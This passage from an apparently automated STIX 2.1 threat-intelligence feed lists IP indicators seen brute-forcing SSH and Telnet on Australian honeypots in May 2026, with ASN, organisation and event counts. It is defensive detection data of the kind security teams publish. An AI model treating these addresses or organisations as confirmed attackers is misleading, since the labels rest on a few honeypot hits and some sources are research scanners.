      "pattern": "[ipv4-addr:value = '66.132.186.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 1680. Organisation(s): Cellcom Fixed Line Communication L.P.",
      "id": "indicator--65677f78-bdcf-4771-be5e-71b1d6b8004a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.139.208.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--ce8534f4-1286-4f1f-93eb-4faeffd43ce7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.168.171.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--15650ed6-cced-483f-9ecd-8770c1e3f4e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.204.154.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--a3e3ab51-fbbb-4e7f-a3d3-c1697b990bb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.196.149.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--78351ae9-5dbe-42d6-bc53-59ab3f46c363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.158.24.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 134186. Organisation(s): Paradise Technologies Limited.",
      "id": "indicator--c3b7c4b4-d23f-4654-950f-24acb44a5270",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.61.153.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--43b3f7a1-6aed-4883-88ad-1bb5229cf7b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.1.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--8dcd3b94-3d44-4aba-a4a3-5aa2370b5bc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.92.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD.. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--df776ede-e287-4408-ad8c-6a064c63244e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 25133. Organisation(s): LLC McLaut-Invest.",
      "id": "indicator--f890a156-5e8f-4c3e-9d59-c02a131f0191",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.158.50.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--5d711ad2-d6aa-49c6-affa-8bc4e3a11505",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--218b404e-b719-4c8b-9305-95ac70b6c057",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.175.33.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T13:15:10.000Z",
      "valid_until": "2026-06-13T13:15:08.000Z"
    },
    {
      "created": "2026-05-12T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 139752. Organisation(s): Multinetwork Cable Television, Inc.",
      "id": "indicator--3d77995d-d25d-4c66-857e-f680da0cfcf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.144.157.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:15:10.000Z",
      "valid_until": "2026-06-13T14:15:08.000Z"
    },
    {
      "created": "2026-05-12T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 31148. Organisation(s): Freenet Jsc.",
      "id": "indicator--41654d4d-6098-463b-bf2d-2d3ae367bdbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.251.250.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:15:10.000Z",
      "valid_until": "2026-06-13T14:15:08.000Z"
    },
    {
      "created": "2026-05-12T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9571eaf1-dc28-4c28-8b5c-c6cbb8bccdf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.113.164.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:15:10.000Z",
      "valid_until": "2026-06-13T14:15:08.000Z"
    },
    {
      "created": "2026-05-12T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--ff7780ec-e4d1-4ba5-9a94-d0481da5a93d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.51.210.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:15:10.000Z",
      "valid_until": "2026-06-13T14:15:08.000Z"
    },
    {
      "created": "2026-05-12T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 204094. Organisation(s): Web Solutions, Lda.",
      "id": "indicator--977da10a-391d-4fba-8a01-0faacd3e940f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.113.141.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:15:10.000Z",
      "valid_until": "2026-06-13T14:15:08.000Z"
    },
    {
      "created": "2026-05-12T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MK. ASN(s): 57374. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--0bd5ed61-d3ae-4288-b1fd-7d8000c8accb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.44.20.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:15:10.000Z",
      "valid_until": "2026-06-13T14:15:08.000Z"
    },
    {
      "created": "2026-05-12T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--3837a970-e1c4-47c6-b9e2-d6711f5cb82f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.28.105.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:15:10.000Z",
      "valid_until": "2026-06-13T14:15:08.000Z"
    },
    {
      "created": "2026-05-12T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--53b59a91-af02-42f0-ace9-2ceda149a4b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.107.43.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:15:10.000Z",
      "valid_until": "2026-06-13T14:15:08.000Z"
    },
    {
      "created": "2026-05-12T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45916. Organisation(s): Gujarat Telelink Pvt Ltd.",
      "id": "indicator--651ada30-d2dd-4a63-8ecf-4e549f77588a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.232.130.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:15:11.000Z",
      "valid_until": "2026-06-13T15:15:03.000Z"
    },
    {
      "created": "2026-05-12T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--6309ea6d-5ccb-4679-9628-743e5d4fe8a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.26.225.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:15:11.000Z",
      "valid_until": "2026-06-13T15:15:03.000Z"
    },
    {
      "created": "2026-05-12T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264434. Organisation(s): Rech e Bernardi LTDA ME.",
      "id": "indicator--bdec9cff-6122-4f3d-a9fe-e2eb881f41c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.221.163.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:15:11.000Z",
      "valid_until": "2026-06-13T15:15:03.000Z"
    },
    {
      "created": "2026-05-12T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL.",
      "id": "indicator--a9b84e3b-4933-4f7c-a06a-fcbc7b76ce95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:15:11.000Z",
      "valid_until": "2026-06-13T15:15:03.000Z"
    },
    {
      "created": "2026-05-12T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--43d27c80-b61f-4233-a18f-bb73fd070cec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.130.211.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:15:11.000Z",
      "valid_until": "2026-06-13T15:15:03.000Z"
    },
    {
      "created": "2026-05-12T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--029edd7d-6b28-450e-bbad-c94233a9b755",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.21.134.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:15:11.000Z",
      "valid_until": "2026-06-13T15:15:03.000Z"
    },
    {
      "created": "2026-05-12T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--593872b2-ebb1-477c-b6c6-1458829dc1a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.45.170.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:15:11.000Z",
      "valid_until": "2026-06-13T15:15:03.000Z"
    },
    {
      "created": "2026-05-12T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 33182. Organisation(s): HostDime.com, Inc..",
      "id": "indicator--1ff2f31a-2b24-4380-95c3-ae29cf6013e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.111.187.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:15:11.000Z",
      "valid_until": "2026-06-13T15:15:03.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 137967. Organisation(s): Digicon Telecommunication Ltd.",
      "id": "indicator--0927ed0e-cc78-456d-b454-e1809631e3d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.172.139.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 137967. Organisation(s): Digicon Telecommunication Ltd.",
      "id": "indicator--8f3a1517-77e5-4347-8ecb-39a9ea8a2701",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.172.139.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 147141. Organisation(s): PT Mitra Internet Indonesia.",
      "id": "indicator--4273acbe-0081-4b56-acd8-db857d3c1685",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.176.94.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262773. Organisation(s): PROXXIMA TELECOMUNICACOES SA.",
      "id": "indicator--6d9bacf2-52c4-401e-8a9b-e9a9c862121d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.122.37.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40244. Organisation(s): Turnkey Internet Inc..",
      "id": "indicator--2431dd47-4a86-4cb8-bb51-f4fb96fefedb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.182.175.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--d5f19166-1494-4f54-a48c-7b6418999b0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.181.177.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--d05bfb9d-bfc4-4065-a742-515a48775f68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--8d915ae3-8376-420b-b09b-b78838b6b0c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.233.82.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
